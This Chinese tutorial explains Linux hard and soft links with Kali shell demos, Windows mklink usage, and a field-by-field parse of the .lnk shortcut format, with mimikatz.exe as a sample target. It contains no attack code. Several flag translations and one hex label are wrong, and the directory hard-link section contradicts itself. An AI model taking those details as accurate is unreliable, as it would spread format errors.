Link & lnk

文章目录

第一部分 Link

0. 什么是 Link ?

​ 在操作系统中,特别是在文件系统中,“链接”(Link)是一种允许多个路径名指向同一文件或目录的机制。链接主要用于提高文件系统的灵活性,并允许更高效的数据访问。

1. Link 有什么作用 ?

  1. 快速访问文件或文件夹

    ​ Link 文件提供了一种快速访问文件或文件夹的方式。通过双击或点击快捷方式,用户可以快速打开目标文件或文件夹,而无需手动导航到其所在的位置

  2. 创建应用程序快捷方式

    ​ Link 文件可以用于创建应用程序的快捷方式。用户可以将应用程序的快捷方式放置在桌面、开始菜单或任务栏上,以便快速启动应用程序

  3. 自定义应用程序启动参数

    ​ Link 文件允许用户在快捷方式上指定自定义的应用程序启动参数。这意味着用户可以通过快捷方式直接调用应用程序,并传递特定的命令行参数

  4. 管理网络资源快捷方式

    ​ Link 文件可以用于创建指向网络资源(如共享文件夹、网络驱动器、网页等)的快捷方式。这样,用户可以快速访问网络资源,而无需手动输入网络路径或 URL

  5. 美化桌面和文件夹

    ​ Link 文件可以用于在桌面和文件夹中创建自定义的图标快捷方式。用户可以将自己喜欢的图标与文件或文件夹关联起来,从而个性化和美化桌面和文件夹的外观

2. 怎么创建 Link ?

​ 可以通过命令行的方式手动创建 Link

2.1 Link 有哪些种类?

​ 在计算机文件系统中,硬链接软链接是两种常见的连接技术。它们可以将文件或目录与其他位置建立关联,提供方便的文件管理和共享功能。

​ (这快内容我们尝试用 Linux 系统作为演示环境,目的是为了更好的理解硬链接和软链接)

2.1.1 硬链接
2.1.1.1 硬链接的定义

​ 硬链接是指多个文件名指向同一个物理文件的链接关系。它们在文件系统中具有相同的 inode 号(索引节点号),但可以位于不同的目录中。当创建硬链接时,实际上是为文件增加了一个新的路径入口

注意1:inode是Unix/Linux文件系统的一个概念,用于存储文件的元信息。Windows使用不同的文件系统,称为NTFS或FAT32,它们并不依赖inode

2.1.1.2 硬链接的工作原理

​ 在创建硬链接时,操作系统会为新创建的链接分配相同的inode号,并在文件系统中的目录项中添加对应的链接关系。因此,无论通过哪个文件名访问该文件,都指向同一个inode,即同一个文件内容

2.1.1.3 硬链接的特点
  • 硬链接与原始文件之间没有区别,它们是完全平等的
  • 删除任何一个链接都不会影响其他链接
  • 每个文件系统都有自己独立的inode空间,硬链接不能跨越不同的文件系统
2.1.1.4 硬链接相关实验
# 创建临时测试文件夹 /tmp/tmp.iC7dCifhBO
┌──(kali㉿kali)-[~/Desktop]
└─$ mktemp -d 
/tmp/tmp.iC7dCifhBO
                                                  
┌──(kali㉿kali)-[~/Desktop]
└─$ cd /tmp/tmp.iC7dCifhBO
# 创建临时测试文件 test.txt                                                             
┌──(kali㉿kali)-[/tmp/tmp.iC7dCifhBO]
└─$ touch test.txt                  
# stat 查看测试文件信息                                                       
┌──(kali㉿kali)-[/tmp/tmp.iC7dCifhBO]
└─$ stat test.txt                                    
  File: test.txt
  Size: 0               Blocks: 0          IO Block: 4096   regular empty file
Device: 8,1     Inode: 1703958     Links: 1
Access: (0644/-rw-r--r--)  Uid: ( 1000/    kali)   Gid: ( 1000/    kali)
Access: 2024-05-08 01:29:05.976846798 -0400
Modify: 2024-05-08 01:29:05.976846798 -0400
Change: 2024-05-08 01:29:05.976846798 -0400
 Birth: 2024-05-08 01:29:05.976846798 -0400
# 创建 test_1.lnk 为 test.txt 的硬链接
┌──(kali㉿kali)-[/tmp/tmp.iC7dCifhBO]
└─$ ln test.txt test_1.lnk
# 分别查看 test_1.lnk 和 test.txt 的文件属性                   
┌──(kali㉿kali)-[/tmp/tmp.iC7dCifhBO]
└─$ stat test.txt
  File: test.txt
  Size: 0               Blocks: 0          IO Block: 4096   regular empty file
Device: 8,1     Inode: 1703958     Links: 2
Access: (0644/-rw-r--r--)  Uid: ( 1000/    kali)   Gid: ( 1000/    kali)
Access: 2024-05-08 01:29:05.976846798 -0400
Modify: 2024-05-08 01:29:05.976846798 -0400
Change: 2024-05-08 01:35:04.571955648 -0400
 Birth: 2024-05-08 01:29:05.976846798 -0400
                               
┌──(kali㉿kali)-[/tmp/tmp.iC7dCifhBO]
└─$ stat test_1.lnk 
  File: test_1.lnk
  Size: 0               Blocks: 0          IO Block: 4096   regular empty file
Device: 8,1     Inode: 1703958     Links: 2
Access: (0644/-rw-r--r--)  Uid: ( 1000/    kali)   Gid: ( 1000/    kali)
Access: 2024-05-08 01:29:05.976846798 -0400
Modify: 2024-05-08 01:29:05.976846798 -0400
Change: 2024-05-08 01:35:04.571955648 -0400
 Birth: 2024-05-08 01:29:05.976846798 -0400
# 尝试向 test.txt 文件中写入一些内容
┌──(kali㉿kali)-[/tmp/tmp.iC7dCifhBO]
└─$ echo "I just for test" >> test.txt 
                                 
┌──(kali㉿kali)-[/tmp/tmp.iC7dCifhBO]
└─$ cat test.txt          
I just for test
# 观察 test_1.lnk 是否能够更新内容                                         
┌──(kali㉿kali)-[/tmp/tmp.iC7dCifhBO]
└─$ cat test_1.lnk     
I just for test
# 删除 test.txt 文件
┌──(kali㉿kali)-[/tmp/tmp.iC7dCifhBO]
└─$ rm -rf test.txt      
# 观察 test_1.lnk 是否能够读取到测试内容                                       
┌──(kali㉿kali)-[/tmp/tmp.iC7dCifhBO]
└─$ cat test_1.lnk 
I just for test
                                 
┌──(kali㉿kali)-[/tmp/tmp.iC7dCifhBO]
└─$ stat test_1.lnk 
  File: test_1.lnk
  Size: 16              Blocks: 8          IO Block: 4096   regular file
Device: 8,1     Inode: 1703958     Links: 1
Access: (0644/-rw-r--r--)  Uid: ( 1000/    kali)   Gid: ( 1000/    kali)
Access: 2024-05-08 01:40:45.955958542 -0400
Modify: 2024-05-08 01:38:12.487957241 -0400
Change: 2024-05-08 01:40:43.543958522 -0400
 Birth: 2024-05-08 01:29:05.976846798 -0400

​ 只有当所有指向该inode的硬链接都被删除后,其数据块通常会被操作系统回收并可能被其他文件重用,这意味着原始数据可能已经不可恢复(只要相对应的数据块没有被覆盖,那么是可以将文件还原回来的)。

2.1.1.4.1 无法跨分区、跨设备创建硬链接的原因分析
# 无法跨分区、跨设备创建硬链接
──(kali㉿kali)-[/tmp/tmp.iC7dCifhBO]
└─$ sudo ln test_1.lnk /boot/
ln: failed to create hard link '/boot/test_1.lnk'=> ’test_1.lnk‘: Invalid cross-device link

​ 每个分区都有自己独立的inode体系,假设A分区的文件在B分区做了一个硬链接,此时访问B分区的此链接,按照我们想的是需要它访问A分区的inode,进行数据查询,但是它只会根据B分区的inode,在B数据块中查找数据

2.1.1.4.2 一般情况下无法创建文件夹硬链接的原因分析
# 一般情况下无法创建文件夹的硬链接
# file -> directory
┌──(kali㉿kali)-[/tmp]
└─$ ln /tmp/tmp.iC7dCifhBO /tmp/dir.link
ln: /tmp/tmp.iC7dCifhBO: hard link not allowed for directory
# directory -> directory
┌──(kali㉿kali)-[/tmp/tmp.6oxI1VVtJD]
└─$ sudo ln /tmp/tmp.6oxI1VVtJD -d /tmp/tmp.6oxI1VVtJD/test
ln: failed to create hard link '/tmp/tmp.6oxI1VVtJD/test' => '/tmp/tmp.6oxI1VVtJD': Operation not permitted

​ 一般情况下无法创建文件夹硬链接的原因如下:

1. 硬链接到目录
   ​可以创建指向目录的硬链接,但这些硬链接必须位于与原目录相同的文件系统中。这是因为硬链接实际上是文件系统中的指针,如果允许跨文件系统的硬链接,可能会导致文件系统的引用计数出错
2. 目录的硬链接限制
   ​创建指向目录的硬链接通常是为了创建一个别名或快捷方式。然而,由于硬链接的工作原理,指向目录的硬链接不能在文件系统的外部使用,因为外部的文件系统无法解析原始目录的路径
3. . 和 .. 特殊目录
   ​每个目录自动拥有两个特殊的硬链接:.(指向自身)和 ..(指向其父目录)。这些是目录结构的一部分,并且由文件系统自动维护
4. 不允许循环链接
   ​为了防止无限循环,Linux 不允许创建指向目录的硬链接,这些硬链接会导致形成目录循环(例如,dir1/dir2 指向 dir1,而 dir1 又指向 dir2)。创建这样的循环链接会导致许多命令(如 ls、find)陷入无限循环
5. 删除和重命名限制
   ​不能删除或重命名指向目录的 . 或 .. 目录条目,因为这些操作是受系统保护的
6. 硬链接和目录的安全性
   ​技术上可以创建指向目录的硬链接,但这种做法并不常见,因为如果不正确使用,可能会导致文件系统导航和权限管理上的混乱
2.1.2 软链接
2.1.2.1 软链接的定义

​ 软链接是指一个文件名指向另一个文件或目录的符号链接。与硬链接不同,软链接实际上是一个特殊类型的文件,其中包含指向目标文件或目录的路径信息

2.1.2.2 软链接的工作原理

​ 创建软链接时,操作系统会为其分配一个新的inode,并在文件系统中的目录项中添加软链接的信息,指向目标文件或目录的路径。当访问软链接时,操作系统会通过路径信息找到目标文件或目录

2.1.2.3 软链接的特点
  • 软链接是一个独立文件,它的大小仅占用几个字节的存储空间
  • 删除原始文件或目录不会影响软链接的存在,但访问软链接时若目标文件不存在,则会报错
2.1.2.4 软链接相关实验
# 创建临时测试文件 test.txt
┌──(kali㉿kali)-[/tmp/tmp.6oxI1VVtJD]
└─$ touch test.txt
# 创建 test_1.lnk 为 test.txt 的软链接                       
┌──(kali㉿kali)-[/tmp/tmp.6oxI1VVtJD]
└─$ ln -s test.txt test_1.lnk                         
                                 
┌──(kali㉿kali)-[/tmp/tmp.6oxI1VVtJD]
└─$ ls -ail
total 8
1703964 drwx------  2 kali kali 4096 May  8 03:24 .
1703937 drwxrwxrwt 17 root root 4096 May  8 03:23 ..
1703969 lrwxrwxrwx  1 kali kali    8 May  8 03:24 test_1.lnk -> test.txt
1703968 -rw-r--r--  1 kali kali    0 May  8 03:24 test.txt
# Inode: 1703968
┌──(kali㉿kali)-[/tmp/tmp.6oxI1VVtJD]
└─$ stat test.txt                   
  File: test.txt
  Size: 0               Blocks: 0          IO Block: 4096   regular empty file
Device: 8,1     Inode: 1703968     Links: 1
Access: (0644/-rw-r--r--)  Uid: ( 1000/    kali)   Gid: ( 1000/    kali)
Access: 2024-05-08 03:24:17.321876625 -0400
Modify: 2024-05-08 03:24:17.321876625 -0400
Change: 2024-05-08 03:24:17.321876625 -0400
 Birth: 2024-05-08 03:24:17.321876625 -0400
# Inode: 1703969                            
┌──(kali㉿kali)-[/tmp/tmp.6oxI1VVtJD]
└─$ stat test_1.lnk 
  File: test_1.lnk -> test.txt
  Size: 8               Blocks: 0          IO Block: 4096   symbolic link
Device: 8,1     Inode: 1703969     Links: 1
Access: (0777/lrwxrwxrwx)  Uid: ( 1000/    kali)   Gid: ( 1000/    kali)
Access: 2024-05-08 03:24:34.824126375 -0400
Modify: 2024-05-08 03:24:31.700438748 -0400
Change: 2024-05-08 03:24:31.700438748 -0400
 Birth: 2024-05-08 03:24:31.700438748 -0400

​ 如上可以看出,软链接与原文件并不是同一inode,链接数也没有增加,文件大小也不一样

# 尝试向 test.txt 文件中写入一些内容 
┌──(kali㉿kali)-[/tmp/tmp.6oxI1VVtJD]
└─$ echo "I just for test" >> test.txt
                                      
┌──(kali㉿kali)-[/tmp/tmp.6oxI1VVtJD]
└─$ cat test.txt  
I just for test
                                       
┌──(kali㉿kali)-[/tmp/tmp.6oxI1VVtJD]
└─$ cat test_1.lnk 
I just for test
                                     
┌──(kali㉿kali)-[/tmp/tmp.6oxI1VVtJD]
└─$ ll     
total 4
lrwxrwxrwx 1 kali kali  8 May  8 03:24 test_1.lnk -> test.txt
-rw-r--r-- 1 kali kali 16 May  8 03:35 test.txt

​ 再次查看,原文件大小发生了改变,而链接文件大小依旧没变化。这其实就是软链接的特性之一,因为软链接的inode指向的数据块保存的是 原文件的路径,如果没有路径,是由文件名,默认会在软链接所在路径查找

┌──(kali㉿kali)-[/tmp/tmp.6oxI1VVtJD]
└─$ mkdir test

┌──(kali㉿kali)-[/tmp/tmp.6oxI1VVtJD]
└─$ cd test  
┌──(kali㉿kali)-[/tmp/tmp.6oxI1VVtJD/test]
└─$ ln -s ../test.txt /tmp/test

┌──(kali㉿kali)-[/tmp/tmp.6oxI1VVtJD/test]
└─$ ll /tmp/test               
lrwxrwxrwx 1 kali kali 11 May  8 03:44 /tmp/test -> ../test.txt

┌──(kali㉿kali)-[/tmp/tmp.6oxI1VVtJD/test]
└─$ cat /tmp/test     
cat: /tmp/test: No such file or directory

cat /tmp/test它会以自己的路径为初始点去寻找test.txt。即 “/tmp/test -> …/test.txt”,在系统看来,它会理解成"以test所在路径为起点,回到上一级目录,去寻找test.txt"。很显然没有找到,所以报错

2.1.3 Linux 中的特殊条目
┌──(kali㉿kali)-[/tmp]
└─$ cd tmp.6oxI1VVtJD 
                                     
┌──(kali㉿kali)-[/tmp/tmp.6oxI1VVtJD]
└─$ ls -ail  
total 8
1703964 drwx------  2 kali kali 4096 May  8 02:06 .
1703937 drwxrwxrwt 17 root root 4096 May  8 02:06 ..
                                    
┌──(kali㉿kali)-[/tmp/tmp.6oxI1VVtJD]
└─$ stat . 
  File: .
  Size: 4096            Blocks: 8          IO Block: 4096   directory
Device: 8,1     Inode: 1703964     Links: 2
Access: (0700/drwx------)  Uid: ( 1000/    kali)   Gid: ( 1000/    kali)
Access: 2024-05-08 02:06:18.626527592 -0400
Modify: 2024-05-08 02:06:09.074481132 -0400
Change: 2024-05-08 02:06:09.074481132 -0400
 Birth: 2024-05-08 02:06:09.074481132 -0400
                                       
┌──(kali㉿kali)-[/tmp/tmp.6oxI1VVtJD]
└─$ stat ..
  File: ..
  Size: 4096            Blocks: 8          IO Block: 4096   directory
Device: 8,1     Inode: 1703937     Links: 17
Access: (1777/drwxrwxrwt)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2024-05-08 02:06:10.010485929 -0400
Modify: 2024-05-08 02:06:09.074481132 -0400
Change: 2024-05-08 02:06:09.074481132 -0400
 Birth: 2024-02-25 13:19:18.308000000 -0500

┌──(kali㉿kali)-[/tmp]
└─$ stat tmp.6oxI1VVtJD 
  File: tmp.6oxI1VVtJD
  Size: 4096            Blocks: 8          IO Block: 4096   directory
Device: 8,1     Inode: 1703964     Links: 2
Access: (0700/drwx------)  Uid: ( 1000/    kali)   Gid: ( 1000/    kali)
Access: 2024-05-08 02:06:18.626527592 -0400
Modify: 2024-05-08 02:06:09.074481132 -0400
Change: 2024-05-08 02:06:09.074481132 -0400
 Birth: 2024-05-08 02:06:09.074481132 -0400

​ 上述内容可以发现,在我们新建的一个文件夹 tmp.6oxI1VVtJD 中,已经存在了两个隐藏的特殊目录条目,分别是 “.”“…” ,分别表示的当前路径和上级路径

  • . 代表当前目录,它是一个指向自己的硬链接
  • .. 代表当前目录的父目录,它也是一个硬链接,指向其父目录的目录条目

... 是硬链接,但它们是特殊情况的硬链接,有以下特点:

  1. 特殊含义

    . 代表当前目录,.. 代表当前目录的父目录。这两个特殊的目录条目是 POSIX 标准(Portable Operating System Interface)定义的,它们为文件系统导航提供了一种标准和方便的方式

  2. 系统创建和管理

    ​ 这两个硬链接是由文件系统自己创建和管理的。当一个新目录被创建时,文件系统会自动在该目录下创建 ... 条目

  3. 不允许删除或重命名

    ​ 不能删除或重命名... 这两个特殊条目,对于文件系统的正常工作至关重要

  4. 不计入目录的硬链接数

    ​ 一个文件或目录的硬链接数不包括 ... 条目。 ... 对于所有目录都是固定的,不反映文件或目录的实际链接数

  5. 防止循环引用

    ​ 由于 .. 总是指向父目录,它防止了创建指向自身或形成无限循环的目录结构的可能性,这可能会使文件系统陷入混乱

  6. 简化文件系统操作

    ... 的存在简化了许多文件系统操作,如遍历目录树、改变工作目录等

​ 总之,... 是硬链接,但它们是文件系统的一部分,具有特殊的意义和规则。它们被特别允许,因为它们对于文件系统的功能和结构至关重要,并且受到文件系统本身的保护和管理。

2.2 Link (Windows)

> mklink --help
创建符号链接

MKLINK [[/D] | [/H] | [/J]] Link Target

        /D      创建目录符号链接。默认为文件
                符号链接。
        /H      创建硬链接,而不是符号链接。
        /J      创建目录联接。
        Link    指定新的符号链接名称。
        Target  指定新链接引用的路径
                (相对或绝对)。

2.2.1 command: mklink 的使用方法
  1. Windows Link 文件软链接

mklink 名称 文件路径

  1. Windows Link 文件硬链接

mklink /H 名称 文件路径

  1. Windows Link 文件夹软链接

mklink /D 名称 文件夹路径

  1. Windows Link 目录联结(硬链接)

mklink /J 名称 文件夹路径

​ 创建了一个 demo 文件夹,里面存储了一个 mimikatz.exe ,对 mimikatz.exe 创建一个软链接和硬链接

在这里插入图片描述
在这里插入图片描述
​ 对 demo 文件夹进行软链接和硬链接
在这里插入图片描述
在这里插入图片描述

2.2.2 powershell: mklink 的使用方法
  1. Windows Link 文件软链接

New-Item -ItemType SymbolicLink -Path 名称 -Target 路径

  1. Windows Link 文件硬链接

New-Item -ItemType HardLink -Path 名称 -Target 路径

  1. Windows Link 文件夹软链接

New-Item -ItemType SymbolicLink -Path 名称 -Target 路径

  1. Windows Link 目录联结(硬链接)

mklink /J 名称 文件夹路径

在这里插入图片描述
在这里插入图片描述

​ 获取详细链接信息:

Get-ChildItem -Path . -Recurse -ErrorAction SilentlyContinue | Where-Object { $_.Attributes -band [IO.FileAttributes]::ReparsePoint } | Format-List

在这里插入图片描述

第二部分 Link & 快捷方式

0. 什么是快捷方式(.lnk 文件)?

​ Shell Link 是一个数据对象,其中包含用于访问 Shell 命名空间中的另一个对象(即通过 Windows 资源管理器可见的任何对象)的信息。 可通过 Shell 链接访问的对象类型包括文件、文件夹、磁盘驱动器和打印机。 Shell 链接允许用户或应用程序从命名空间中的任意位置访问对象。 用户或应用程序不需要知道对象的当前名称和位置

1. Lnk 有什么作用 ?

  1. 方便访问

    ​ 快捷方式允许用户快速启动程序或访问文件和文件夹,无需浏览整个文件系统。

  2. 位置独立

    ​ 快捷方式包含了目标对象的完整路径信息,因此即使快捷方式被移动到其他位置,它仍然可以指向原始目标。

  3. 易于创建和管理

    ​ 用户可以通过简单的右键菜单操作在Windows资源管理器中创建快捷方式,管理起来非常方便。

  4. 可包含额外属性

    ​ 快捷方式文件(.lnk 文件)可以存储额外的属性,如图标、工具提示、快捷键等。

  5. 易于分享

    ​ 快捷方式可以被复制或移动到其他计算机上,使得用户可以与他人共享快速访问特定目标的方式。

  6. 桌面访问

    ​ 用户经常在桌面上放置快捷方式,以便快速启动程序或访问常用文件夹。

  7. 组织和分类

    ​ 快捷方式可以用于组织和分类文件和程序,使得用户可以通过不同的快捷方式集合来访问不同的应用程序或文档。

  8. 网络资源访问

    ​ 快捷方式也可以用来指向网络共享或远程资源,使得访问这些资源更加方便。

  9. 维护一致性

    ​ 在安装程序或进行系统配置时,可以创建快捷方式以确保用户可以通过一致的方式访问特定的功能或数据。

  10. 任务自动化

    ​ 快捷方式可以与批处理文件或脚本结合使用,以自动化复杂的任务或操作序列

2. 怎么创建 Lnk ?

​ 用户可以通过从对象的快捷菜单中选择“ 创建快捷方式” 命令来创建 Shell Link 。还可以通过应用程序创建和使用 Shell Link 和快捷方式。

注意2:不能使用 IShellLink 创建指向 URL 的链接

注意3:如果是用户通过菜单创建的快捷方式,在创建快捷方式后移动或重命名文档,系统将在用户下次选择该快捷方式时尝试更新该快捷方式

注意4:如果是通过应用程序创建的快捷方式,在创建快捷方式后移动或重命名文档,系统不会自动尝试解析该链接式

3. Lnk 文件格式解析

​ 这里创建两个快捷方式以便对照分析:

​ 一个快捷方式使用的是 mimikatz.exe ,快捷键目标中不使用系统环境变量
在这里插入图片描述
​ 另一个快捷方式使用的是 calc.exe ,快捷键目标中将 C:\windows\system32 修改为系统环境变量 %windir%
在这里插入图片描述

​ 将样本分别放入静态 HEX 编辑器(具体分析请查看参考文献 [7] )
在这里插入图片描述

**注意5:新版本 010 editor 能够在文件拖入是识别出快捷方式或是二进制文件。可以通过直接下载 010 editor 提供 的插件进行更加便捷的分析 **

 .lnk 文件格式
              +---------------------------+
              | lnk file header           |     
              +---------------------------+ >------.
              | Shell Item Id List        |        |
              +---------------------------+        |
              | File location info        |        |
              +---------------------------+        |
              | Description string        |        |
              +---------------------------+       ---
              | Relative path string      |  这几个节不是每一个都必须存在,如果存在就要按这样的顺序关系排列。
              +---------------------------+       ---
              | Working directory string  |        |
              +---------------------------+        |
              | Command line string       |        |
              +---------------------------+        |
              | Icon filename string      |        |
              +---------------------------+ >------.
              | Extra stuff               |
              +---------------------------+

3.1 ShellLinkHeader

  • HeaderSize(4 bytes, offset 0x00):0x0000004C ,相当于字符"L",用于标识是否是个有效的.lnk文件,ShellLinkHeader 头大小
  • LinkCLSID(16 bytes, offset 0x04):00021401-0000-0000-C000-000000000046,GUID,标识.lnk的唯一标识符
  • sLinkFlags(4 bytes,offset 0x14):Flags 用来标识.lnk文件中有哪些可选属性
  • FileAttributes (4 bytes,offset 0x18):目标文件属性
  • CreationTime(8 bytes,offset 0x1c):一个FILETIME 结构([MS-DTYP]第 2.3.3 节),指定UTC(协调世界时) 格式的链接目标的创建时间。如果该值为零,则表示链接目标上没有设置创建时间。
  • AccessTime(8 bytes,offset 0x24): FILETIME 结构([MS-DTYP] 第 2.3.3 节),指定 UTC(协调世界时)中的链接目标的访问时间。如果该值为零,则链接目标上没有设置访问时间。
  • WriteTime(8 bytes,offset 0x3c): FILETIME 结构([MS-DTYP] 第 2.3.3 节),指定 UTC(协调世界时)中的链接目标的写入时间。如果该值为零,则链接目标上没有设置写入时间。
  • FileSize(4 bytes,offset 0x44):一个 32 位无符号整数,指定链接目标的大小(以字节为单位)。如果链接目标文件大于 0xFFFFFFFF,则该值指定链接目标文件大小的最低有效 32 位。
  • IconIndex(4 bytes,offset 0x48):一个 32 位有符号整数,指定给定图标位置内图标的索引
  • ShowCommand(4 bytes,offset 0x4c):一个 32 位无符号整数,指定由链接启动的应用程序的预期窗口状态
  • HotKey(2 bytes,offset 0x50):HotKeyFlags结构,指定用于启动快捷键引用的应用程序的击键
3.1.1 sLinkFlags

在这里插入图片描述
在这里插入图片描述

​ (具体 Flag 标志相关信息请查看参考文献 [8] )

在这里插入图片描述

ValueDescription
A
HasLinkTargetIDList
The shell link is saved with an item ID list (IDList). If this bit is set, a LinkTargetIDList structure (section 2.2) MUST follow the ShellLinkHeader. If this bit is not set, this structure MUST NOT be present.
shell 链接与item ID 列表 (IDList),如果设置了该位,则LinkTargetIDList 结构存在
B
HasLinkInfo
The shell link is saved with link information. If this bit is set, a LinkInfo structure (section 2.3) MUST be present. If this bit is not set, this structure MUST NOT be present.
shell 链接与链接信息一起保存,如果设置了该位,则LinkInfo结构存在
C
HasName
The shell link is saved with a name string. If this bit is set, a NAME_STRING StringData structure (section 2.4) MUST be present. If this bit is not set, this structure MUST NOT be present.
shell 链接与名称字符串一起保存,如果设置了该位,则StringData结构必须存在NAME_STRING
D
HasRelativePath
The shell link is saved with a relative path string. If this bit is set, a RELATIVE_PATH StringData structure (section 2.4) MUST be present. If this bit is not set, this structure MUST NOT be present.
shell 链接使用相对路径字符串保存。如果设置了该位,则StringData 结构必须存在RELATIVE_PATH
E
HasWorkingDir
The shell link is saved with a working directory string. If this bit is set, a WORKING_DIR StringData structure (section 2.4) MUST be present. If this bit is not set, this structure MUST NOT be present.
shell 链接与工作目录字符串一起保存。如果设置了该位,则StringData 结构必须存在WORKING_DIR
F
HasArguments
The shell link is saved with command line arguments. If this bit is set, a COMMAND_LINE_ARGUMENTS StringData structure (section 2.4) MUST be present. If this bit is not set, this structure MUST NOT be present…
shell 链接与命令行参数一起保存。如果设置了该位,则StringData 结构必须存在COMMAND_LINE_ARGUMENTS
G
HasIconLocation
The shell link is saved with an icon location string. If this bit is set, an ICON_LOCATION StringData structure (section 2.4) MUST be present. If this bit is not set, this structure MUST NOT be present.
shell 链接与工作目录字符串一起保存。如果设置了该位,则ICON_LOCATION 结构必须存在WORKING_DIR
H
IsUnicode
The shell link contains Unicode encoded strings. This bit SHOULD be set. If this bit is set, the StringData section contains Unicode-encoded strings; otherwise, it contains strings that are encoded using the system default code page…
shell 链接与工作目录字符串一起保存。如果设置了该位,则StringData 结构必须包含 Unicode 编码的字符串
I
ForceNoLinkInfo
The LinkInfo structure (section 2.3) is ignored.
J
HasExpString
The shell link is saved with an EnvironmentVariableDataBlock (section 2.5.4).
shell 链接使用 EnvironmentVariableDataBlock 保存
K
RunInSeparateProcess
The target is run in a separate virtual machine when launching a link target that is a 16-bit application.
L
Unused1
A bit that is undefined and MUST be ignored.
M
HasDarwinID
The shell link is saved with a DarwinDataBlock (section 2.5.3).
N
RunAsUser
The application is run as a different user when the target of the shell link is activated.
当 shell 链接的目标被激活时,应用程序将以不同的用户身份运行
O
HasExpIcon
The shell link is saved with an IconEnvironmentDataBlock (section 2.5.5).
P
NoPidlAlias
The file system location is represented in the shell namespace when the path to an item is parsed into an IDList.
Q
Unused2
A bit that is undefined and MUST be ignored.
R
RunWithShimLayer
The shell link is saved with a ShimDataBlock (section 2.5.8).
S
ForceNoLinkTrack
The TrackerDataBlock (section 2.5.10) is ignored.
T
EnableTargetMetadata
The shell link attempts to collect target properties and store them in the PropertyStoreDataBlock (section 2.5.7) when the link target is set.
U
DisableLinkPathTracking
The EnvironmentVariableDataBlock is ignored.
V
DisableKnownFolderTracking
The SpecialFolderDataBlock (section 2.5.9) and the KnownFolderDataBlock (section 2.5.6) are ignored when loading the shell link. If this bit is set, these extra data blocks SHOULD NOT be saved when saving the shell link.
W
DisableKnownFolderAlias
If the link has a KnownFolderDataBlock (section 2.5.6), the unaliased form of the known folder IDList SHOULD be used when translating the target IDList at the time that the link is loaded.
X
AllowLinkToLink
Creating a link that references another link is enabled. Otherwise, specifying a link as the target IDList SHOULD NOT be allowed.
Y
UnaliasOnSave
When saving a link for which the target IDList is under a known folder, either the unaliased form of that known folder or the target IDList SHOULD be used.
Z
PreferEnvironmentPath
The target IDList SHOULD NOT be stored; instead, the path specified in the EnvironmentVariableDataBlock (section 2.5.4) SHOULD be used to refer to the target.
AA
KeepLocalIDListForUNCTarget
When the target is a UNC name that refers to a location on a local machine, the local path IDList in the PropertyStoreDataBlock (section 2.5.7) SHOULD be stored, so it can be used when the link is loaded on the local machine.
3.1.1.1 Calc.exe 快捷键 ShellLinkHeader LinkFlags 包含项

在这里插入图片描述

​ 由上可以看到,该文件LinkFlags为0x000802DB(Bin:0000 0000 0000 0100 0000 0010 1101 1011),这表示以下Flag被设置:

  • HasLinkTargetIDList
  • HasLinkInfo
  • HasRelativePath
  • HasWorkingDir
  • HasIconLocation
  • IsUnicode
  • HasExpIcon
  • EnableTargetMetadata
3.1.2 sFileAttributes

​ (具体 Flag 标志相关信息请查看参考文献 [8] )
在这里插入图片描述

ValueDescription
A
FILE_ATTRIBUTE_READONLY
The file or directory is read-only. For a file, if this bit is set, applications can read the file but cannot write to it or delete it. For a directory, if this bit is set, applications cannot delete the directory.
文件或目录是只读的
B
FILE_ATTRIBUTE_HIDDEN
The file or directory is hidden. If this bit is set, the file or folder is not included in an ordinary directory listing.
文件或目录被隐藏
C
FILE_ATTRIBUTE_SYSTEM
The file or directory is part of the operating system or is used exclusively by the operating system.
文件或目录是操作系统的一部分或者由操作系统专用
D
Reserved1
A bit that MUST be zero.
E
FILE_ATTRIBUTE_DIRECTORY
The link target is a directory instead of a file.
链接目标是目录而不是文件
F
FILE_ATTRIBUTE_ARCHIVE
The file or directory is an archive file. Applications use this flag to mark files for backup or removal.
文件或目录是存档文件。应用程序使用此标志来标记要备份或删除的文件
G
Reserved2
A bit that MUST be zero.
H
FILE_ATTRIBUTE_NORMAL
The file or directory has no other flags set. If this bit is 1, all other bits in this structure MUST be clear.
I
FILE_ATTRIBUTE_TEMPORARY
The file is being used for temporary storage.
J
FILE_ATTRIBUTE_SPARSE_FILE
The file is a sparse file.
K
FILE_ATTRIBUTE_REPARSE_POINT
The file or directory has an associated reparse point.
L
FILE_ATTRIBUTE_COMPRESSED
The file or directory is compressed. For a file, this means that all data in the file is compressed. For a directory, this means that compression is the default for newly created files and subdirectories.
M
FILE_ATTRIBUTE_OFFLINE
The data of the file is not immediately available.
N
FILE_ATTRIBUTE_NOT_CONTENT_INDEXED
The contents of the file need to be indexed.
O
FILE_ATTRIBUTE_ENCRYPTED
The file or directory is encrypted. For a file, this means that all data in the file is encrypted. For a directory, this means that encryption is the default for newly created files and subdirectories.
3.1.2.1 Calc.exe 快捷键 ShellLinkHeader FileAttributes 包含项

在这里插入图片描述

由上可以看到,该文件LinkFlags为0x000802DB(Bin:0000 0000 0000 0000 0000 0000 0010 0000),这表示以下Flag被设置:

  • FILE_ATTRIBUTE_ARCHIVE
3.1.3 ShowCommand

​ (具体 Flag 标志相关信息请查看参考文献 [9] )

ValueMeaning
SW_SHOWNORMAL0x00000001The application is open and its window is open in a normal fashion.
应用程序已打开并且其窗口以正常方式打开。
SW_SHOWMAXIMIZED
0x00000003
The application is open, and keyboard focus is given to the application, but its window is not shown.
应用程序已打开,并且键盘焦点已分配给应用程序,但未显示其窗口。
SW_SHOWMINNOACTIVE
0x00000007
The application is open, but its window is not shown. It is not given the keyboard focus.
应用程序已打开,但未显示其窗口。没有给予键盘焦点。

注意6: 所有其他值必须被视为 SW_SHOWNORMAL

3.1.4 HotKeyFlags

​ (具体 Flag 标志相关信息请查看参考文献 [10] )
在这里插入图片描述

3.2 LinkTargetIDList

​ LinkFlags 中HasLinkTargetIDList设为1,故文件包含LinkTargetIDList结构
在这里插入图片描述

​ LinkTargetIDList 是由以下两部分组成:

  • IDListSize(2 字节):IDList字段的大小(以字节为单位)
  • IDList:一个存储的IDList结构,其中包含项目ID列表
    在这里插入图片描述
3.2.1 IDList

​ IDList 是由以下两部分组成:

  • ItemIDList:零个或多个ItemID结构的数组
  • TerminalID(2 字节):一个 16 位无符号整数,指示项目 ID 的结尾。该值必须为0

在这里插入图片描述
在这里插入图片描述

3.2.1.1 ItemID

​ ItemID是由以下两部分组成:

  • ItemIDSize(2 字节):一个 16 位无符号整数,指定 ItemID 结构的大小(以字节为单位),包括ItemIDSize字段
